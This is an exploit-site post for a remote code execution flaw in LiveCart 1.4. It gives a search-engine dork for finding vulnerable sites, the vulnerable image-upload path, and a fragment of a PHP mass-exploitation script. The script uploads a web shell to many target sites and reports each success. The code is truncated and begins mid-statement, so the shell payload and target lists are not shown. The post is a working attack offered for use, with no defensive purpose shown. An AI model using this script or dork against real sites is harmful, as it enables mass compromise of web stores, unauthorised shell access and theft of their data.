0day-id.com | LiveCart Remote Code Execution

`#Title : LiveCart 1.4 Remote Code Execution #Author : DevilScreaM #Date : 10/23/2013 #Category : Web Applications #Type : PHP #Vendor : http://livecart.com #Download : http://livecart.com/download #Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber #Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded | #Vulnerabillity : Remote Code Execution #Dork : intext:Powered by LiveCart & USE YOUR BRAIN Vuln : http://site-target/library/openFlashChart/ofc_upload_image.php Refference : https://github.com/integry/livecart/blob/master/library/openFlashChart/ofc_upload_image.php Exploit and Script array('method'=> "POST",'header'=> "Content-type: text/plain\r\n", 'content'=> $shell)); $context = stream_context_create($options); if($_POST['hajar']) { foreach($site as $target) { foreach($path as $upload) { $fopen = @fopen("{$target}{$upload}?name={$filename}", 'r', false, $context); } foreach($result as $results) { $url = "{$target}{$results}{$filename}"; $check = @file_get_contents($url); if(eregi("0day-id.php.php", $check)) { echo "[+] Sh3ll Uploaded => {$target}/{$results}/{$filename}
"; flush(); } } } } ?> 0day-id.com | LiveCart Remote Code Execution `

Query Builder